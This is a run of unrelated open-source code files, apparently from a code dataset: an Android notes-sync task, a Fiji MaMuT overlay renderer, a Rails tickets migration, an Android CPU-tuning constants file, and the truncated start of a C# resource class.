mContext.getContentResolver().update(NotesProvider.NOTES.withId(note.id), note.getContentValues(), null, null); } } private boolean deleteNotes() { Cursor cursor = getNotesCursorWithStatus(new String[]{NoteColumns.STATUS_DELETE}); try { int count = cursor.getCount(); int current = 0; while (cursor.moveToNext()) { Note note = new Note(cursor); deleteNote(note); current += 1; publishDeletionProgress(current, count); } return true; } catch (NullPointerException e) { e.printStackTrace(); } return false; } private void deleteNote(Note note) { String remotePath = getRemoteFilePath(note); RemoveRemoteFileOperation removeRemoteFileOperation = new RemoveRemoteFileOperation(remotePath); RemoteOperationResult removeResult = removeRemoteFileOperation.execute(mClient); // delete locally if file has been deleted or already was deleted if (removeResult.isSuccess()) { mContext.getContentResolver().delete(NotesProvider.NOTES.withId(note.id), null, null); } } private boolean fetchNotes() { ReadRemoteFolderOperation remoteFolderOperation = new ReadRemoteFolderOperation(getRemotePath()); RemoteOperationResult result = remoteFolderOperation.execute(mClient); if (result.isSuccess()) { ArrayList<Object> files = result.getData(); int count = files.size()-1; // Lists current folder int current = 0; for (Object fileObject : files) { RemoteFile remoteFile = (RemoteFile) fileObject; String remotePath = remoteFile.getRemotePath(); // we currently handle text/plain files only if (remoteFile.getMimeType().equals("text/plain")) { Note note = null; File filePath = new File(remoteFile.getRemotePath()); String filename = filePath.getName(); String select = NoteColumns.FILENAME + "=?"; String[] selectArgs = new String[]{filename}; Cursor cursor = mContext.getContentResolver().query(NotesProvider.NOTES.CONTENT_URI, null, select, selectArgs, null); if (cursor != null && cursor.moveToFirst()) { note = new Note(cursor); cursor.close(); // Don't pull notes that are not synced yet if (!note.isDone()){ continue; } } else { note = new Note(); note.filename = filename; note.setUploaded(); note.creationDate = (int) (remoteFile.getCreationTimestamp() / 1000); } String tempPath = mContext.getCacheDir().getAbsolutePath(); DownloadRemoteFileOperation downloadRemoteFileOperation = new DownloadRemoteFileOperation(remotePath, tempPath); RemoteOperationResult downloadResult = downloadRemoteFileOperation.execute(mClient); String localPath = mContext.getCacheDir().getAbsolutePath() + FileUtils.PATH_SEPARATOR + remotePath; File localFile = new File(localPath); if (downloadResult.isSuccess() && localFile.exists()) { copyFileToNote(localFile, note); localFile.delete(); } else { return false; } if (note.id != 0) { mContext.getContentResolver().update(NotesProvider.NOTES.withId(note.id), note.getContentValues(), null, null); } else { mContext.getContentResolver().insert(NotesProvider.NOTES.CONTENT_URI, note.getContentValues()); } } current += 1; publishDownloadProgress(current, count); } return true; } return false; } private String getRemotePath() { return Settings.NOTE_PATH_DEFAULT + "/"; } private String getRemoteFilePath(Note note) { return getRemotePath() + note.filename; } private void handleError(RemoteOperationResult result) { Log.e(SyncNotesAsyncTask.class.getSimpleName(), result.getLogMessage()); Intent intent = new Intent(SYNC_FAILED); switch (result.getCode()) { case ACCOUNT_EXCEPTION: case ACCOUNT_NOT_FOUND: case INCORRECT_ADDRESS: intent.putExtra(Intent.EXTRA_TEXT, R.string.toast_check_username_password); break; } LocalBroadcastManager.getInstance(mContext).sendBroadcast(intent); } private File createTempFileFromNote(Note note) throws IOException { File file = File.createTempFile("note", ".txt", mContext.getCacheDir()); FileWriter fileWriter = new FileWriter(file); fileWriter.append(note.title + "\n"); fileWriter.append(note.content == null ? "" : note.content); fileWriter.close(); return file; } private void copyFileToNote(File file, Note note) { try { InputStream instream = new FileInputStream(file); // prepare the file for reading InputStreamReader inputreader = new InputStreamReader(instream); BufferedReader buffreader = new BufferedReader(inputreader); note.title = buffreader.readLine(); note.content = ""; for (String line = buffreader.readLine(); line != null; line = buffreader.readLine()) { note.content += line + "\n"; } } catch (IOException ex) { ex.printStackTrace(); } } }
gpl-3.0
fiji/MaMuT
src/main/java/fiji/plugin/mamut/viewer/MamutOverlay.java
12282
/*- * #%L * Fiji plugin for the annotation of massive, multi-view data. * %% * Copyright (C) 2012 - 2021 MaMuT development team. * %% * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public * License along with this program. If not, see * <http://www.gnu.org/licenses/gpl-3.0.html>. * #L% */ package fiji.plugin.mamut.viewer; import java.awt.AlphaComposite; import java.awt.BasicStroke; import java.awt.Color; import java.awt.Composite; import java.awt.Graphics2D; import java.awt.RenderingHints; import java.awt.Stroke; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.Set; import org.jgrapht.graph.DefaultWeightedEdge; import bdv.viewer.ViewerState; import fiji.plugin.trackmate.Model; import fiji.plugin.trackmate.SelectionModel; import fiji.plugin.trackmate.Spot; import fiji.plugin.trackmate.features.FeatureUtils; import fiji.plugin.trackmate.gui.displaysettings.DisplaySettings; import fiji.plugin.trackmate.gui.displaysettings.DisplaySettings.TrackDisplayMode; import fiji.plugin.trackmate.visualization.FeatureColorGenerator; import net.imglib2.realtransform.AffineTransform3D; public class MamutOverlay { /** The viewer state. */ protected ViewerState state; /** The transform for the viewer current viewpoint. */ protected final AffineTransform3D transform = new AffineTransform3D(); /** The model to point on this overlay. */ protected final Model model; /** The viewer in which this overlay is painted. */ protected final MamutViewer viewer; /** The selection model. Items belonging to it will be highlighted. */ protected final SelectionModel selectionModel; protected final DisplaySettings ds; public MamutOverlay( final Model model, final SelectionModel selectionModel, final MamutViewer viewer, final DisplaySettings ds ) { this.model = model; this.selectionModel = selectionModel; this.viewer = viewer; this.ds = ds; } public void paint( final Graphics2D g ) { /* * Collect current view. */ state.getViewerTransform( transform ); /* * Common display settings. */ final boolean doLimitDrawingDepth = ds.isZDrawingDepthLimited(); final double drawingDepth = ds.getZDrawingDepth(); final TrackDisplayMode trackDisplayMode = ds.getTrackDisplayMode(); final Stroke normalStroke = new BasicStroke( ( float ) ds.getLineThickness() ); final Stroke selectionStroke = new BasicStroke( ( float ) ds.getSelectionLineThickness() ); final FeatureColorGenerator< Spot > spotColorGenerator = FeatureUtils.createSpotColorGenerator( model, ds ); final FeatureColorGenerator< DefaultWeightedEdge > trackColorGenerator = FeatureUtils.createTrackColorGenerator( model, ds ); /* * Draw spots. */ if ( ds.isSpotVisible() ) { final double radiusRatio = ds.getSpotDisplayRadius(); final boolean doDisplayNames = ds.isSpotShowName(); g.setFont( ds.getFont() ); /* * Compute scale */ final double vx = transform.get( 0, 0 ); final double vy = transform.get( 1, 0 ); final double vz = transform.get( 2, 0 ); final double transformScale = Math.sqrt( vx * vx + vy * vy + vz * vz ); final Iterable< Spot > spots; final int frame = state.getCurrentTimepoint(); if ( trackDisplayMode != TrackDisplayMode.SELECTION_ONLY ) { spots = model.getSpots().iterable( frame, true ); } else { final ArrayList< Spot > tmp = new ArrayList<>(); for ( final Spot spot : selectionModel.getSpotSelection() ) { if ( spot.getFeature( Spot.FRAME ).intValue() == frame ) tmp.add( spot ); } spots = tmp; } for ( final Spot spot : spots ) { Stroke stroke = normalStroke; boolean forceDraw = !doLimitDrawingDepth; final Color color; if ( selectionModel.getSpotSelection().contains( spot ) && trackDisplayMode != TrackDisplayMode.SELECTION_ONLY ) { forceDraw = true; // Selection is drawn unconditionally. color = ds.getHighlightColor(); stroke = selectionStroke; } else { color = spotColorGenerator.color( spot ); } g.setColor( color ); g.setStroke( stroke ); final double x = spot.getFeature( Spot.POSITION_X ); final double y = spot.getFeature( Spot.POSITION_Y ); final double z = spot.getFeature( Spot.POSITION_Z ); final double radius = spot.getFeature( Spot.RADIUS ); final double[] globalCoords = new double[] { x, y, z }; final double[] viewerCoords = new double[ 3 ]; transform.apply( globalCoords, viewerCoords ); final double rad = radius * transformScale * radiusRatio; final double zv = viewerCoords[ 2 ]; final double dz2 = zv * zv; if ( !forceDraw && Math.abs( zv ) > drawingDepth ) continue; if ( dz2 < rad * rad ) { final double arad = Math.sqrt( rad * rad - dz2 ); g.drawOval( ( int ) ( viewerCoords[ 0 ] - arad ), ( int ) ( viewerCoords[ 1 ] - arad ), ( int ) ( 2 * arad ), ( int ) ( 2 * arad ) ); if ( doDisplayNames ) { final int tx = ( int ) ( viewerCoords[ 0 ] + arad + 5 ); final int ty = ( int ) viewerCoords[ 1 ]; g.drawString( spot.getName(), tx, ty ); } } else { g.fillOval( ( int ) viewerCoords[ 0 ] - 2, ( int ) viewerCoords[ 1 ] - 2, 4, 4 ); } } } /* * Draw edges */ final boolean tracksVisible = ds.isTrackVisible(); if ( tracksVisible && model.getTrackModel().nTracks( false ) > 0 ) { // Save graphic device original settings final Composite originalComposite = g.getComposite(); final Stroke originalStroke = g.getStroke(); final Color originalColor = g.getColor(); Spot source, target; // Non-selected tracks. final int currentFrame = state.getCurrentTimepoint(); final int trackDisplayDepth = ds.getFadeTrackRange(); final Set< Integer > filteredTrackIDs = model.getTrackModel().unsortedTrackIDs( true ); g.setStroke( normalStroke ); if ( trackDisplayMode == TrackDisplayMode.LOCAL ) g.setComposite( AlphaComposite.getInstance( AlphaComposite.SRC_OVER ) ); // Determine bounds for limited view modes int minT = 0; int maxT = 0; switch ( trackDisplayMode ) { case LOCAL: case SELECTION_ONLY: minT = currentFrame - trackDisplayDepth; maxT = currentFrame + trackDisplayDepth; break; case LOCAL_FORWARD: minT = currentFrame; maxT = currentFrame + trackDisplayDepth; break; case LOCAL_BACKWARD: minT = currentFrame - trackDisplayDepth; maxT = currentFrame; break; default: break; } double sourceFrame; float transparency; switch ( trackDisplayMode ) { case FULL: { for ( final Integer trackID : filteredTrackIDs ) { final Set< DefaultWeightedEdge > track = new HashSet<>( model.getTrackModel().trackEdges( trackID ) ); for ( final DefaultWeightedEdge edge : track ) { source = model.getTrackModel().getEdgeSource( edge ); target = model.getTrackModel().getEdgeTarget( edge ); g.setColor( trackColorGenerator.color( edge ) ); drawEdge( g, source, target, transform, 1f, doLimitDrawingDepth, drawingDepth ); } } break; } case SELECTION_ONLY: { // Sort edges by their track id. final HashMap< Integer, ArrayList< DefaultWeightedEdge > > sortedEdges = new HashMap<>(); for ( final DefaultWeightedEdge edge : selectionModel.getEdgeSelection() ) { final Integer trackID = model.getTrackModel().trackIDOf( edge ); ArrayList< DefaultWeightedEdge > edges = sortedEdges.get( trackID ); if ( null == edges ) { edges = new ArrayList<>(); sortedEdges.put( trackID, edges ); } edges.add( edge ); } for ( final Integer trackID : sortedEdges.keySet() ) { for ( final DefaultWeightedEdge edge : sortedEdges.get( trackID ) ) { source = model.getTrackModel().getEdgeSource( edge ); target = model.getTrackModel().getEdgeTarget( edge ); sourceFrame = source.getFeature( Spot.FRAME ).intValue(); if ( sourceFrame < minT || sourceFrame >= maxT ) continue; transparency = ( float ) ( 1 - Math.abs( sourceFrame - currentFrame ) / trackDisplayDepth ); target = model.getTrackModel().getEdgeTarget( edge ); g.setColor( trackColorGenerator.color( edge ) ); drawEdge( g, source, target, transform, transparency, doLimitDrawingDepth, drawingDepth ); } } break; } case LOCAL: case LOCAL_FORWARD: case LOCAL_BACKWARD: { g.setRenderingHint( RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON ); for ( final int trackID : filteredTrackIDs ) { final Set< DefaultWeightedEdge > track = model.getTrackModel().trackEdges( trackID ); for ( final DefaultWeightedEdge edge : track ) { source = model.getTrackModel().getEdgeSource( edge ); sourceFrame = source.getFeature( Spot.FRAME ).intValue(); if ( sourceFrame < minT || sourceFrame >= maxT ) continue; transparency = ( float ) ( 1 - Math.abs( sourceFrame - currentFrame ) / trackDisplayDepth ); target = model.getTrackModel().getEdgeTarget( edge ); g.setColor( trackColorGenerator.color( edge ) ); drawEdge( g, source, target, transform, transparency, doLimitDrawingDepth, drawingDepth ); } } break; } } if ( trackDisplayMode != TrackDisplayMode.SELECTION_ONLY ) { // Deal with highlighted edges first: brute and thick display g.setStroke( selectionStroke ); g.setColor( ds.getHighlightColor() ); for ( final DefaultWeightedEdge edge : selectionModel.getEdgeSelection() ) { source = model.getTrackModel().getEdgeSource( edge ); target = model.getTrackModel().getEdgeTarget( edge ); drawEdge( g, source, target, transform, 1f, false, drawingDepth ); } } // Restore graphic device original settings g.setComposite( originalComposite ); g.setStroke( originalStroke ); g.setColor( originalColor ); } } protected void drawEdge( final Graphics2D g2d, final Spot source, final Spot target, final AffineTransform3D tr, final float transparency, final boolean limitDrawingDetph, final double drawingDepth ) { // Find x & y & z in physical coordinates final double x0i = source.getFeature( Spot.POSITION_X ); final double y0i = source.getFeature( Spot.POSITION_Y ); final double z0i = source.getFeature( Spot.POSITION_Z ); final double[] physicalPositionSource = new double[] { x0i, y0i, z0i }; final double x1i = target.getFeature( Spot.POSITION_X ); final double y1i = target.getFeature( Spot.POSITION_Y ); final double z1i = target.getFeature( Spot.POSITION_Z ); final double[] physicalPositionTarget = new double[] { x1i, y1i, z1i }; // In pixel units final double[] pixelPositionSource = new double[ 3 ]; tr.apply( physicalPositionSource, pixelPositionSource ); final double[] pixelPositionTarget = new double[ 3 ]; tr.apply( physicalPositionTarget, pixelPositionTarget ); if ( limitDrawingDetph && Math.abs( pixelPositionSource[ 2 ] ) > drawingDepth && Math.abs( pixelPositionTarget[ 2 ] ) > drawingDepth ) return; // Round final int x0 = ( int ) Math.round( pixelPositionSource[ 0 ] ); final int y0 = ( int ) Math.round( pixelPositionSource[ 1 ] ); final int x1 = ( int ) Math.round( pixelPositionTarget[ 0 ] ); final int y1 = ( int ) Math.round( pixelPositionTarget[ 1 ] ); g2d.setComposite( AlphaComposite.getInstance( AlphaComposite.SRC_OVER, transparency ) ); g2d.drawLine( x0, y0, x1, y1 ); } /** * Update data to show in the overlay. * * @param state * the state of the data. */ public void setViewerState( final ViewerState state ) { this.state = state; } }
gpl-3.0
ERIN-LIST/iguess
db/migrate/20141128151654_create_tickets.rb
505
class CreateTickets < ActiveRecord::Migration def up create_table :tickets do |t| t.column :title, :string, :null => false t.column :description, :string, :null => false t.column :ticket_type_id, :integer, :null => false t.column :ticket_status_id, :integer, :null => false t.column :user_id, :integer, :null => false t.column :image, :binary t.timestamps end end def down drop_table :tickets end end
gpl-3.0
horn3t/PerformanceControl
src/com/brewcrewfoo/performance/util/Constants.java
16869
/* * Performance Control - An Android CPU Control application Copyright (C) 2012 * James Roberts * * This program is free software: you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation, either version 3 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program. If not, see <http://www.gnu.org/licenses/>. */ package com.brewcrewfoo.performance.util; public interface Constants { public static final String TAG = "PerformanceControl"; public static final String VERSION_NUM = "2.2.5"; //hide flashing kernel/recovery options // NO_FLASH=true > hide flash options // NO_FLASH=false > show flash options public static final Boolean NO_FLASH = false; public static final Boolean NO_UPDATE = false; //hide builtin update // NO_UPDATE=true > hide update // NO_UPDATE=false > show update public static final String URL = "http://m.softutil.ro/pc/"; public static final String PAYPAL="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id="; public static final String PAYPAL_BTN="GYCA62XE2U9AW"; // CPU settings public static final String CPU_ON_PATH = "/sys/devices/system/cpu/cpu0/online"; public static final String CUR_CPU_PATH = "/sys/devices/system/cpu/cpu0/cpufreq/scaling_cur_freq"; public static final String MAX_FREQ_PATH = "/sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq"; public static final String TEGRA_MAX_FREQ_PATH = "/sys/module/cpu_tegra/parameters/cpu_user_cap"; public static final String MIN_FREQ_PATH = "/sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq"; //public static final String STEPS_PATH = "/sys/devices/system/cpu/cpu0/cpufreq/scaling_available_frequencies"; public static final String GOVERNORS_LIST_PATH = "/sys/devices/system/cpu/cpu0/cpufreq/scaling_available_governors"; public static final String GOVERNOR_PATH = "/sys/devices/system/cpu/cpu0/cpufreq/scaling_governor"; public static final String IO_SCHEDULER_PATH = "/sys/block/mmcblk0/queue/scheduler"; public static final String IO_TUNABLE_PATH = "/sys/block/mmcblk0/queue/iosched"; public static final String IO_SOB = "io_settings_sob"; //Dynamic frequency scaling public static final String DYN_MAX_FREQ_PATH = "/sys/power/cpufreq_max_limit"; public static final String DYN_MIN_FREQ_PATH = "/sys/power/cpufreq_min_limit"; public static final String HARD_LIMIT_PATH="/sys/kernel/cpufreq/hardlimit"; public static final String NUM_OF_CPUS_PATH = "/sys/devices/system/cpu/present"; public static final String PREF_MAX_CPU = "pref_max_cpu"; public static final String PREF_MIN_CPU = "pref_min_cpu"; public static final String PREF_GOV = "pref_gov"; public static final String PREF_IO = "pref_io"; public static final String CPU_SOB = "cpu_sob"; public static final String GOV_SOB = "gov_settings_sob"; public static final String GOV_SETTINGS_PATH = "/sys/devices/system/cpu/cpufreq/"; public static final String MC_PS="/sys/devices/system/cpu/sched_mc_power_savings";//multi core power saving public static final String MSM_HOTPLUG="/sys/module/msm_hotplug/msm_enabled"; public static final String INTELLI_PLUG="/sys/module/intelli_plug/parameters/intelli_plug_active"; public static final String ECO_MODE="/sys/module/intelli_plug/parameters/eco_mode_active"; public static final String GEN_HP="/sys/module/omap2plus_cpufreq/parameters/generic_hotplug";//generic hotplug public static final String SO_MAX_FREQ="/sys/devices/system/cpu/cpu0/cpufreq/screen_off_max_freq"; public static final String SO_MIN_FREQ="/sys/devices/system/cpu/cpu0/cpufreq/screen_on_min_freq"; // CPU info public static String KERNEL_INFO_PATH = "/proc/version"; public static String CPU_INFO_PATH = "/proc/cpuinfo"; public static String MEM_INFO_PATH = "/proc/meminfo"; // Time in state public static final String TIME_IN_STATE_PATH = "/sys/devices/system/cpu/cpu0/cpufreq/stats/time_in_state"; public static final String PREF_OFFSETS = "pref_offsets"; // Battery public static final String BAT_VOLT_PATH = "/sys/class/power_supply/battery/voltage_now"; // Other settings public static final String MINFREE_DEFAULT = "oom_default"; public static final String MINFREE_PATH = "/sys/module/lowmemorykiller/parameters/minfree"; public static final String MINFREE_ADJ_PATH = "/sys/module/lowmemorykiller/parameters/adj"; public static final String READ_AHEAD_PATH ="/sys/block/mmcblk0/queue/read_ahead_kb"; //"/sys/devices/virtual/bdi/default/read_ahead_kb" public static final String PREF_MINFREE = "pref_minfree"; public static final String PREF_MINFREE_BOOT = "pref_minfree_boot"; public static final String PREF_READ_AHEAD = "pref_read_ahead"; public static final String PREF_READ_AHEAD_BOOT = "pref_read_ahead_boot"; public static final String PREF_FASTCHARGE = "pref_fast_charge"; //------ MinFree ------ public static final String OOM_FOREGROUND_APP = "oom_foreground_app"; public static final String OOM_VISIBLE_APP = "oom_visible_app"; public static final String OOM_SECONDARY_SERVER = "oom_secondary_server"; public static final String OOM_HIDDEN_APP = "oom_hidden_app"; public static final String OOM_CONTENT_PROVIDERS = "oom_content_providers"; public static final String OOM_EMPTY_APP = "oom_empty_app"; //------ KSM public static final String KSM_RUN_PATH = "/sys/kernel/mm/ksm"; public static final String UKSM_RUN_PATH = "/sys/kernel/mm/uksm"; public static final String[] KSM_FULLSCANS_PATH = {"/sys/kernel/mm/ksm/full_scans","/sys/kernel/mm/uksm/full_scans"}; public static final String[] KSM_PAGESSHARED_PATH = {"/sys/kernel/mm/ksm/pages_shared","/sys/kernel/mm/uksm/pages_shared"}; public static final String[] KSM_PAGESSHARING_PATH = {"/sys/kernel/mm/ksm/pages_sharing","/sys/kernel/mm/uksm/pages_sharing"}; public static final String[] KSM_PAGESUNSHERED_PATH = {"/sys/kernel/mm/ksm/pages_unshared","/sys/kernel/mm/uksm/pages_unshared"}; public static final String[] KSM_PAGESVOLATILE_PATH = {"/sys/kernel/mm/ksm/pages_volatile","/sys/kernel/mm/uksm/pages_volatile"}; public static final String[] KSM_SLEEP_TIMES_PATH = {"/sys/kernel/mm/ksm/sleep_times","/sys/kernel/mm/uksm/sleep_times"}; public static final String[] KSM_PAGESSCANNED_PATH = {"/sys/kernel/mm/ksm/pages_scanned","/sys/kernel/mm/uksm/pages_scanned"}; public static final String PREF_RUN_KSM = "pref_run_ksm"; public static final String KSM_SOB = "ksm_boot"; //------ DoNotKillProc public static final String USER_PROC_PATH = "/sys/module/lowmemorykiller/parameters/donotkill_proc"; public static final String SYS_PROC_PATH = "/sys/module/lowmemorykiller/parameters/donotkill_sysproc"; public static final String USER_PROC_NAMES_PATH = "/sys/module/lowmemorykiller/parameters/donotkill_proc_names"; public static final String USER_SYS_NAMES_PATH = "/sys/module/lowmemorykiller/parameters/donotkill_sysproc_names"; public static final String USER_PROC_SOB = "user_proc_boot"; public static final String SYS_PROC_SOB = "sys_proc_boot"; public static final String PREF_USER_PROC = "pref_user_proc"; public static final String PREF_SYS_PROC = "pref_sys_proc"; public static final String PREF_USER_NAMES = "pref_user_names_proc"; public static final String PREF_SYS_NAMES = "pref_sys_names_proc"; //-------BLX--------- public static final String PREF_BLX = "pref_blx"; public static final String BLX_PATH = "/sys/class/misc/batterylifeextender/charging_limit"; public static final String BLX_SOB = "blx_sob"; //-------DFsync--------- public static final String DSYNC_PATH = "/sys/kernel/dyn_fsync/Dyn_fsync_active"; public static final String PREF_DSYNC= "pref_dsync"; //-------BL---- public static final String PREF_BLTIMEOUT= "pref_bltimeout"; public static final String BLTIMEOUT_SOB= "bltimeout_sob"; public static final String PREF_BLTOUCH= "pref_bltouch"; public static final String BL_TIMEOUT_PATH="/sys/class/misc/notification/bl_timeout"; public static final String BL_TOUCH_ON_PATH="/sys/class/misc/notification/touchlight_enabled"; //-------BLN--------- public static final String PREF_BLN= "pref_bln"; //-------PFK--------- public static final String PFK_VER = "/sys/class/misc/phantom_kp_filter/version"; public static final String PFK_HOME_ON = "pfk_home_on"; public static final String PREF_HOME_ALLOWED_IRQ= "pref_home_allowed_irq"; public static final String PREF_HOME_REPORT_WAIT = "pref_home_report_wait"; public static final String PFK_MENUBACK_ON = "pfk_menuback_on"; public static final String PREF_MENUBACK_INTERRUPT_CHECKS = "pref_menuback_interrupt_checks"; public static final String PREF_MENUBACK_FIRST_ERR_WAIT = "pref_menuback_first_err_wait"; public static final String PREF_MENUBACK_LAST_ERR_WAIT = "pref_menuback_last_err_wait"; public static final String PFK_HOME_ENABLED = "/sys/class/misc/phantom_kp_filter/home_enabled"; public static final String PFK_HOME_ALLOWED_IRQ = "/sys/class/misc/phantom_kp_filter/home_allowed_irqs"; public static final String PFK_HOME_REPORT_WAIT = "/sys/class/misc/phantom_kp_filter/home_report_wait"; public static final String PFK_HOME_IGNORED_KP = "/sys/class/misc/phantom_kp_filter/home_ignored_kp"; public static final String PFK_MENUBACK_ENABLED = "/sys/class/misc/phantom_kp_filter/menuback_enabled"; public static final String PFK_MENUBACK_INTERRUPT_CHECKS = "/sys/class/misc/phantom_kp_filter/menuback_interrupt_checks"; public static final String PFK_MENUBACK_FIRST_ERR_WAIT = "/sys/class/misc/phantom_kp_filter/menuback_first_err_wait"; public static final String PFK_MENUBACK_LAST_ERR_WAIT = "/sys/class/misc/phantom_kp_filter/menuback_last_err_wait"; public static final String PFK_MENUBACK_IGNORED_KP = "/sys/class/misc/phantom_kp_filter/menuback_ignored_kp"; public static final String PFK_SOB = "pfk_sob"; //------------------ public static final String DYNAMIC_DIRTY_WRITEBACK_PATH = "/proc/sys/vm/dynamic_dirty_writeback"; public static final String DIRTY_WRITEBACK_ACTIVE_PATH = "/proc/sys/vm/dirty_writeback_active_centisecs"; public static final String DIRTY_WRITEBACK_SUSPEND_PATH = "/proc/sys/vm/dirty_writeback_suspend_centisecs"; public static final String PREF_DYNAMIC_DIRTY_WRITEBACK = "pref_dynamic_dirty_writeback"; public static final String PREF_DIRTY_WRITEBACK_ACTIVE = "pref_dynamic_writeback_active"; public static final String PREF_DIRTY_WRITEBACK_SUSPEND = "pref_dynamic_writeback_suspend"; public static final String DYNAMIC_DIRTY_WRITEBACK_SOB = "dynamic_write_back_sob"; // VM settings public static final String VM_SOB = "vm_sob"; public static final String PREF_VM = "pref_vm"; public static final String VM_PATH = "/proc/sys/vm/"; // Voltage control public static final String VOLTAGE_SOB = "voltage_sob"; public static final String UV_MV_PATH = "/sys/devices/system/cpu/cpu0/cpufreq/UV_mV_table"; public static final String VDD_PATH = "/sys/devices/system/cpu/cpu0/cpufreq/vdd_levels"; public static final String COMMON_VDD_PATH = "/sys/devices/system/cpu/cpufreq/vdd_levels"; public static final String VDD_TABLE = "/sys/devices/system/cpu/cpufreq/vdd_table/vdd_levels"; public static final String VDD_SYSFS_PATH = "/sys/devices/system/cpu/cpu0/cpufreq/vdd_sysfs_levels"; //Tools public static final String PREF_SH = "pref_sh"; public static final String PREF_WIPE_CACHE = "pref_wipe_cache"; //public static final String NOT_FOUND = "not found"; public static final String FLASH_KERNEL = "pref_kernel_img"; public static final String FLASH_RECOVERY = "pref_recovery_img"; public static final String RESIDUAL_FILES="pref_residual_files"; public static final String residualfiles[]={"/data/log","/data/tombstones","/data/system/dropbox","/data/system/usagestats","/data/anr","/data/local/tmp"};//add coresponding info in strings public static final String PREF_FIX_PERMS = "pref_fix_perms"; public static final String PREF_LOG = "pref_log"; public static final String PREF_OPTIM_DB = "pref_optim_db"; //Freezer public static final String PREF_FRREZE = "freeze_packs"; public static final String PREF_UNFRREZE = "unfreeze_packs"; //zRam public static final String ISZRAM = "busybox echo `busybox zcat /proc/config.gz | busybox grep ZRAM | busybox grep -v '^#'`"; public static final String ZRAM_SIZE_PATH = "/sys/block/zram0/disksize"; public static final String ZRAM_COMPR_PATH = "/sys/block/zram0/compr_data_size"; public static final String ZRAM_ORIG_PATH = "/sys/block/zram0/orig_data_size"; public static final String ZRAM_MEMTOT_PATH = "/sys/block/zram0/mem_used_total"; public static final String PREF_ZRAM = "zram_size"; public static final String ZRAM_SOB = "zram_boot"; public static final String ZRAM_ON = "zram_on"; //sysctl public static final String SYSCTL_SOB = "sysctl_sob"; //touch screen public static final String TOUCHSCREEN_SOB = "touchscreen_boot"; public static final String PREF_SLIDE2WAKE = "pref_slide2wake"; public static final String PREF_SWIPE2WAKE = "pref_swipe2wake"; public static final String PREF_HOME2WAKE = "pref_home2wake"; public static final String PREF_LOGO2WAKE = "pref_logo2wake"; public static final String PREF_LOGO2MENU = "pref_logo2menu"; public static final String PREF_POCKET_DETECT = "pref_pocket_detect"; public static final String PREF_PICK2WAKE = "pref_pick2wake"; public static final String PREF_DOUBLETAP2WAKE = "pref_doubletap2wake"; public static final String PREF_FLICK2SLEEP = "pref_flick2sleep"; public static final String PREF_TOUCH2WAKE = "pref_touch2wake"; public static final String PREF_FLICK2SLEEP_SENSITIVE="flick2sleep_sensitivity"; public static final String SLIDE2WAKE="/sys/devices/virtual/sec/tsp/tsp_slide2wake"; public static final String SWIPE2WAKE="/sys/android_touch/sweep2wake";//0,1,2=off,s2w+s2s,s2s public static final String HOME2WAKE="/sys/android_touch/home2wake"; public static final String LOGO2WAKE="/sys/android_touch/logo2wake"; public static final String LOGO2MENU="/sys/android_touch/logo2menu"; public static final String POCKET_DETECT="/sys/android_touch/pocket_detect"; public static final String PICK2WAKE="/sys/devices/virtual/htc_g_sensor/g_sensor/pick2wake"; public static final String FLICK2SLEEP="/sys/devices/virtual/htc_g_sensor/g_sensor/flick2sleep"; public static final String DOUBLETAP2WAKE="/sys/android_touch/doubletap2wake"; public static final String FLICK2SLEEP_SENSITIVE="/sys/devices/virtual/htc_g_sensor/g_sensor/f2w_sensitivity_values"; public static final String HOTPLUG_SOB = "hotplug_sob"; public static final String CPU_QUIET_GOV = "/sys/devices/system/cpu/cpuquiet/available_governors"; public static final String CPU_QUIET_CUR = "/sys/devices/system/cpu/cpuquiet/current_governor"; public static final String GPU_MAX_FREQ = "/sys/devices/system/gpu/max_freq"; public static final String GPU_PARAM_SOB = "gpu_param_sob"; // PC Settings public static final String PREF_USE_LIGHT_THEME = "use_light_theme"; public static final String PREF_WIDGET_BG_COLOR = "widget_bg_color"; public static final String PREF_WIDGET_TEXT_COLOR = "widget_text_color"; //Krait undervolt public static final String KRAIT_ON_PATH = "/sys/module/acpuclock_krait/parameters/boost"; public static final String KRAIT_LOWER_PATH = "/sys/module/acpuclock_krait/parameters/lower_uV"; public static final String KRAIT_HIGH_PATH = "/sys/module/acpuclock_krait/parameters/higher_uV"; public static final String KRAIT_THRES_PATH = "/sys/module/acpuclock_krait/parameters/higher_khz_thres"; //live oc public static final String OC_VALUE_PATH = "/sys/class/misc/liveoc/oc_value"; public static final String OC_HIGH_PATH = "/sys/class/misc/liveoc/oc_target_high"; public static final String OC_LOW_PATH = "/sys/class/misc/liveoc/oc_target_low"; public static final String INTENT_PP="com.h0rn3t.performanceprofile.change_system"; public static final String INIT_D="system/etc/init.d/"; }
gpl-3.0
ZeroOne71/ql
02_ECCentral/02_Portal/UI/ECCentral.Portal.UI.IM/Resources/ResProductPriceApprove.Designer.cs
13562
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // Runtime Version:4.0.30319.17929 // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace ECCentral.Portal.UI.IM.Resources { using System; /// <summary> /// A strongly-typed resource class, for looking up localized strings, etc. /// </summary> // This class was auto-generated by the StronglyTypedResourceBuilder // class via a tool like ResGen or Visual Studio. // To add or remove a member, edit your .ResX file then rerun ResGen // with the /str option, or rebuild your VS project. [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] public class ResProductPriceApprove { private static 